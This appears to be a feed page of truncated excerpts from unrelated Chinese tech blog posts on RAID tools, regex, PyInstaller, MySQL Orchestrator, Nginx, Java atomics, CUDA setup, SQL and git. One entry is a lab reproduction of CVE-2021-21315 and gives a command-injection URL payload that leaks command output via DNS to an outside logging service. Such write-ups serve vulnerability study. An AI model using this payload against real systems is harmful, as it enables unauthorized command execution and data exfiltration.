清除raid卡、物理磁盘cache enclosure 获取信息 storcli64 /c0/eall show

正则表达式(regex/regexp)

1、使用test方法,返回true、false 大小写有区分 let testStr = "freeCodeCamp"; let testRegex = /Code/; testRegex.test(testStr); 2、匹配具有不同可能性的文字字符串 let petString = "James has a pet cat."; let petRegex = /dog|cat|bird|fish/; // Change this line let result = petRegex.test(petString); 3、匹配时忽略大小写 let myString = "freeCodeCamp"; let fccRegex = /freeCodeCamp/i; // Change this line let result = fccRegex.test(myString); 4、提取匹配项 let extractStr = "Extract the word 'coding' from this string."; let codingRegex = /coding/; // Change this line let result = extractStr.

Typora (free in Win & Linux ) 0.9.86

@Typora (free in Win & Linux ) Typora (free in Win & Linux ) 0.9.86 Because the Chinese input method of IBus has not been configured well under Ubuntu, this blog will be written in English… (ubuntn doesn’t need to use chinese anyway… windows(10 pro success anyway typora-setup-x64_0.9.78.exe password:free Linux (ubuntu 18.04 success anyway typora_0.9.86_Linux_Setup_free.tar.gz password:free

【开发杂记】如何用pyintaller打包出体积较小的exe文件

0 前言 用程序解决一些业务上的重复劳动,由于内网环境且没有开发环境,常常需要做成.exe文件到其他电脑上执行。因为本人接触python多些,就用python解决,流程总结如下。 目录 0 前言1 用Anaconda创建一个新的虚拟环境2 用pip或conda安装所需要的包3 使用UPX进行压缩4 执行打包命令 1 用Anaconda创建一个新的虚拟环境 网上提供的方法是用pipevn,但我觉得这种操作还麻烦些,不如直接用anaconda直接创作一个新的python环境,此时环境是纯净的,不会有非必要的包。 2 用pip或conda安装所需要的包 所需要的包其实分两部分: pyinstaller及其所依赖的包 一般直接pip install pyinstaller,但常常在执行操作时还会提示因为少openpyxl而打包失败,因此通过最后打包命令的黑框反馈的提示进行补包。自己写的.py里导入的包 3 使用UPX进行压缩 UPX要专门下载,下载传送门。下载后如果是压缩包则先解压,我们需要的仅为upx.exe文件。把他复制到Anaconda之前虚拟环境的Scripts文件夹下。 4 执行打包命令 先打开步骤1创建的虚拟环境,会出现CMD窗口。 通过CMD命令跳转到.py文件的目录上,注意如果跨盘,假设是跳到D盘直接输D:,再复制文件夹路径,在CMD中用cd命令一步跳转。 跳转后输入打包命令: pyinstall -i icon.ico -F myexe.py 其中icon.ico是自定义的图标,myexe.py是要打包的程序。CMD会有打包流程的信息提示,注意要看到UPX is available才表示UPX设置好了。在输出结果里,打开dist文件,exe文件就在里面了。

Orchestrator - server_id相同导致graceful-master-takeover-auto失败

server_id相同导致graceful-master-takeover-auto失败 背景 同事要做一个数据库迁移, 方法就是加从库, 然后主从切换, 再下掉老主库, 完成迁移 原本是一主两从集群, 增加三个从库变为一主五从 使用命令切换时报错(以下是本地测试复现的命令) resources/bin/orchestrator-client -c graceful-master-takeover-auto -alias orc_prod_infra_broker -d 172.20.0.14:3306 -b 'superuser:superpass' Desginated instance 172.20.0.14:3306 cannot take over all of its siblings. Error: 2022-09-02 15:33:27 ERROR Relocating 2 replicas of 172.20.0.10:3306 below 172.20.0.14:3306 turns to be too complex; please do it manually 问题复现 其实还没来得及翻代码, 同事就已经发现新加的三个从库server_id与原集群提供备份节点的server_id是一样的, 所以基本猜测就是server_id导致 构建本地测试环境 这里我部署1主4从, 虽然比线上实际少了一个从库, 但不影响复现问题. 这个集群中, 我们将以下三个节点server_id都设置成101: 172.20.0.11172.20.0.13172.20.0.14 root@localhost 16:07:38 [orchestrator]> select instance_alias, hostname, port, server_id from database_instance; +---------------------------+-------------+------+-----------+ | instance_alias | hostname | port | server_id | +---------------------------+-------------+------+-----------+ | local_docker_master_3306 | 172.

Nginx之正则表达式、location匹配简介及rewrite重写

一、常见的nginx正则表达式 ^ :匹配输入字符串的起始位置 $ :匹配输入字符串的结束位置 * :匹配前面的字符零次或多次。如“ol*”能匹配“o”及“ol”、“oll” + :匹配前面的字符一次或多次。如“ol+”能匹配“ol”及“oll”、“olll”,但不能匹配“o” ? :匹配前面的字符零次或一次,例如“do(es)?”能匹配“do”或者“does”,”?”等效于”{0,1}” . :匹配除“\n”之外的任何单个字符,若要匹配包括“\n”在内的任意字符,请使用诸如“[.\n]”之类的模式 \ :将后面接着的字符标记为一个特殊字符或一个原义字符或一个向后引用。如“\n”匹配一个换行符,而“\$”则匹配“$” \d :匹配纯数字 {n} :重复 n 次 {n,} :重复 n 次或更多次 {n,m} :重复 n 到 m 次 [] :定义匹配的字符范围 [c] :匹配单个字符 c [a-z] :匹配 a-z 小写字母的任意一个 [a-zA-Z0-9] :匹配所有大小写字母或数字 () :表达式的开始和结束位置 如:( jpg | gif | swf ) | :或运算符 二、location 1、location大致可以分为三类 精准匹配:location = / {...} 正则匹配:location ~ / {...} 一般匹配:location / {...} 2、location常用的匹配规则 = :进行普通字符精确匹配,也就是完全匹配。

IO密集型线程和CPU密集型线程

这里写目录标题 CPU密集型IO密集型CPU密集型与IO密集型任务的使用说明 CPU密集型 CPU密集型也叫计算密集型,指的是系统的硬盘、内存性能相对CPU要好很多,此时,系统运作CPU读写IO(硬盘/内存)时,IO可以在很短的时间内完成,而CPU还有许多运算要处理,因此,CPU负载很高。 CPU密集表示该任务需要大量的运算,而没有阻塞,CPU一直全速运行。CPU密集任务只有在真正的多核CPU上才可能得到加速,而在单核CPU上,无论你开几个模拟的多线程该任务都不可能得到加速,因为CPU总的运算能力就只有这么多。通常,CPU密集型线程的数目只需要设置为CPU核心数的线程个数就可以了。 IO密集型 IO密集型指的是系统的CPU性能相对硬盘、内存要好很多,此时,系统运作,大部分的状况是CPU在等IO (硬盘/内存) 的读写操作,因此,CPU负载并不高。 密集型的程序一般在达到性能极限时,CPU占用率仍然较低,导致线程空余时间很多,因此IO密集型线程通常为CPU核心数的数倍,其计算公式为:IO密集型核心线程数 = CPU核数 / (1-阻塞系数)。使得线程进行 I/O 操作 CPU 空闲时,启用其他线程继续使用 CPU,以提高 CPU 的使用率。 CPU密集型与IO密集型任务的使用说明 当线程等待时间所占比例越高,则需要更多的线程,启用其他线程继续使用CPU,以此提高CPU的利用率。当线程CPU时间所占比例越高,则需要更少的线程,通常线程数和CPU核数一致即可。

并发编程——java的原子类操作

目录 什么是原子类 原子更新基本类型 原子更新数组类型 原子更新属性 原子更新引用类型 什么是原子类 当程序更新一个变量时,如果多线程同时更新这个变量,可能得到的结果不是期望值,比如变量i=1,A线程更新i+1,B线程也更新i+1,经过两个线程操作之后可能i不等于3,而是等于2。因为A和B线程在更新变量i的时候拿到的i的值都是1,这就是线程不安全的更新操作。通常我们会使用synchronized来解决这个问题。 原子是不可分割的最小单位,故原子类可以认为其操作都是不可分割。 对多线程访问同一个变量,我们需要加锁,而锁是比较消耗性能的,JDk1.5之后(提供了java.util.concurrent.atomic包),​ 新增的原子操作类提供了一种用法简单、性能高效、线程安全地更新一个变量的方式,​ 这些类同样位于JUC包下的atomic包下,发展到JDk1.8,该包下共有17个类,​ 包括原子更新基本类型、原子更新数组、原子更新属性、原子更新引用。 1.8新增的原子类: DoubleAccumulator、DoubleAdder、LongAccumulator、LongAdder、Striped64 原子更新基本类型 发展至JDk1.8,基本类型原子类有以下几个: AtomicBoolean、AtomicInteger、AtomicLong、DoubleAccumulator、DoubleAdder、LongAccumulator、LongAdder 大致可以归为3类: AtomicBoolean、AtomicInteger、AtomicLong 元老级的原子更新,方法几乎一模一样 DoubleAdder、LongAdder 对Double、Long的原子更新性能进行优化提升​ DoubleAccumulator、LongAccumulator 支持自定义运算 代码表示: package atomic; import java.util.concurrent.atomic.AtomicInteger; import java.util.concurrent.atomic.LongAccumulator; public class Demo { private static AtomicInteger num = new AtomicInteger(1); public static void main(String[] args) { System.out.println(num.getAndIncrement()); System.out.println(num.get()); //输入一个数字,如果比上一个输入的大,则直接返回,如果小,则返回上一个 LongAccumulator longAccumulator = new LongAccumulator((left, right) -> left > right ? left : right,0L ); longAccumulator.accumulate(3L); System.out.println(longAccumulator.get()); //3 longAccumulator.

tensorrt 从0开始搭建部署环境

pip installization wget https://bootstrap.pypa.io/get-pip.py sudo python3.7 get-pip.py …pyhton3.7 -m pip xxx cuda installization cuda url cudnn installization cudnn url 方式1 wget https://developer.download.nvidia.com/compute/cuda/repos/ubuntu1804/x86_64/cuda-ubuntu1804.pin sudo mv cuda-ubuntu1804.pin /etc/apt/preferences.d/cuda-repository-pin-600 sudo apt-key adv --fetch-keys https://developer.download.nvidia.com/compute/cuda/repos/ubuntu1804/x86_64/3bf863cc.pub sudo add-apt-repository "deb https://developer.download.nvidia.com/compute/cuda/repos/ubuntu1804/x86_64/ /" sudo apt-get update sudo apt-get install libcudnn8=${cudnn_version}-1+${cuda_version} sudo apt-get install libcudnn8-dev=${cudnn_version}-1+${cuda_version} 方式2 tar -xvf cudnn-10.1-linux-x64-v8.0.5.39.tar $ sudo cp cuda/include/cudnn*.h /usr/local/cuda/include $ sudo cp -P cuda/lib64/libcudnn* /usr/local/cuda/lib64 $ sudo chmod a+r /usr/local/cuda/include/cudnn*.h /usr/local/cuda/lib64/libcudnn* tensorrt installization 手动官网下载: https://developer.

sql的书写操作

创建数据库 create database <数据库名> 创建表 create table <表名>( <列名1> <数据类型> <该列的约束>, <列名2> <数据类型> <该列的约束>, ... <该表的约束1>,<该表的约束2>,... ); 数据类型 -字符串:定长char,可变长度varchar -数字:int/integer -日期:date 约束: -null -not null -primary key create table student (sid int(4) primary key auto_increment comment '学生id', sname char(20) not null comment '学生名字', ssex char(3) not null comment '学生性别', sage integer not null comment '学生年龄'); 增加表的列 alter table <表名> add <列名> alter table tableName add columnName varchar(30) 删除表的列 alter table <表名> drop <列名> 删除表

如何使用Anaconda安装Tensorflow2.0?

系列文章目录 今年年初写了一篇关于深度学习环境的搭建,但是从那之后,就没有怎么接触深度学习了,基本上在传统的图像处理算法上浑水摸鱼,最近,导师对深度学习感兴趣,便重新找了与深度学习的书籍和资料啃起来。 年初的文章:深度学习Anaconda环境搭建(比较全面) 文章目录 系列文章目录前言一、卸载Tensorflow1.0版本二、安装Tensorflow2.0以上的版本1.添加镜像2.激活tensorflow 前言 提示:这一章还是关于Anaconda安装Tensorflow的环境,文章只是记录一下作者踩过和正在踩的坑。: 由于之前的环境已经安装了大半年之久,如何安装环境又忘记了,虽然基本的语法,看看书或视频想想还是能想起来的,也确实如此,刚好最近在阅读得到上的电子书《深度学习入门:基于Pytroch和Tensorflow的理论与实践》,便重新搭起来环境。但是,发现自己搭建的环境使用的是tensorflow1.0,但现在常使用的是2.0版本。于是有了从1.0的卸载到2.0以上版本的安装。 以下是本篇文章正文内容,下面案例可供参考 一、卸载Tensorflow1.0版本 conda uninstall tensorflow 之后输入 y ; 二、安装Tensorflow2.0以上的版本 1.添加镜像 避免在下载Tensorflow时,网速过慢,需要添加镜像,一般来说,使用镜像下载速度会快一些,但是我本人的下载速度还是比较慢的,也许应该多加几个镜像… conda config --add channels http://mirros.tuna.tsinghua.edu.cn/pkgs/free conda config --set show_channel_urls yes 2.激活tensorflow activate tensorflow pip install --upgrade --ignore-installed tensorflow 下载了好久,还没下载完~ 终于下载完了,安装成功~ 简单记录一下,如果有朋友使用Anaconda默认安装的Tensorflow也是1.0,但是项目或其他需求需要使用更高级的版本时,可以简单参考一下。

GitHub中如何将代码进行上传

如何进行git的文件上传操作 1.首先当然是需要下载git软件进行git bash的操作啦 2.初始化操作( git init)[这时候会新建一个 (.git)文件夹] (如果没有的话在文件夹处点击查看,点隐藏文件夹就会出现了) 3.git add . (添加当前目录的所有文件到暂存区) 4.git commit -m "命名" (对文件进行命名,并且提交暂存区的文件到本地数据库中) 5.git remote add origin 'http.......' (http里面的是自己github上面创建项目时候的git地址) 6.git push -u origin master (将数据上传到master路劲上,origin是第一次上传的时候要写的,后面就不用写了) 7.最后就是在GitHub上面按F5进行刷新一下就可以看见你的上传文件啦。(当然你的vue文件首先需要被打包)

Xshell从服务器下载文件到本地

步骤/方法 1. 首先安装linux工具lrzsz,使用linux命令(yum -y install lrzsz) 2. 查看要下载的文件,比如要下载LiveRamp_BF.7z 3. 输入sz LiveRamp_BF.7z命令,然后回车,打开一个文件选择框,确定保存路径

node.js 命令执行 (CVE-2021-21315)复现[VULFOCUS]

目录 0x01 漏洞背景 0x02 漏洞复现 0x01 漏洞背景 Node.js-systeminformation是用于获取各种系统信息的Node.JS模块,它包含多种轻量级功能,可以检索详细的硬件和系统相关信息 npm团队发布安全公告,Node.js库中的systeminformation软件包中存在一个命令注入漏洞(CVE-2021-21315),其CVSSv3评分为7.8。攻击者可以通过在未经过滤的参数中注入Payload来执行系统命令。 影响版本: Systeminformation < 5.3.1 0x02 漏洞复现 网站页面: http://ceye.io里注册申请一个账号,得到一个申请的网址 构造POC: 原网址+ /api/getServices?name[]=$(ping%20ls%20/tmp.你申请的网址) 在Records->DNS Query里查看得到flag

【JS】两个等号和三个等号的区别

首先,需要搞清楚等号是做什么用的? 【解析】: 1.一个等号是赋值符 【一个等号】: var myage=20; let myhobby=web; 相当于就是把后面的值赋值给了新声明的变量,所以为赋值符 2.两个等号是等值符号,为在运算之前不管是字符串或者其他类型的,都会转化为number类型进行转换,只要值一致即可;类型不需要一致 【两个等号】: console.log(0==false);//ture //false转化为布尔值为0,所以0==0是对的 console.log(""==false);//ture //false转化为空也是对的 3.三个等号:恒等/等同符号,为类型,数值均相同才可以。 【三个等号】: console.log(0===false);//false //类型不同错 console.log(""===false);//false //类型不同错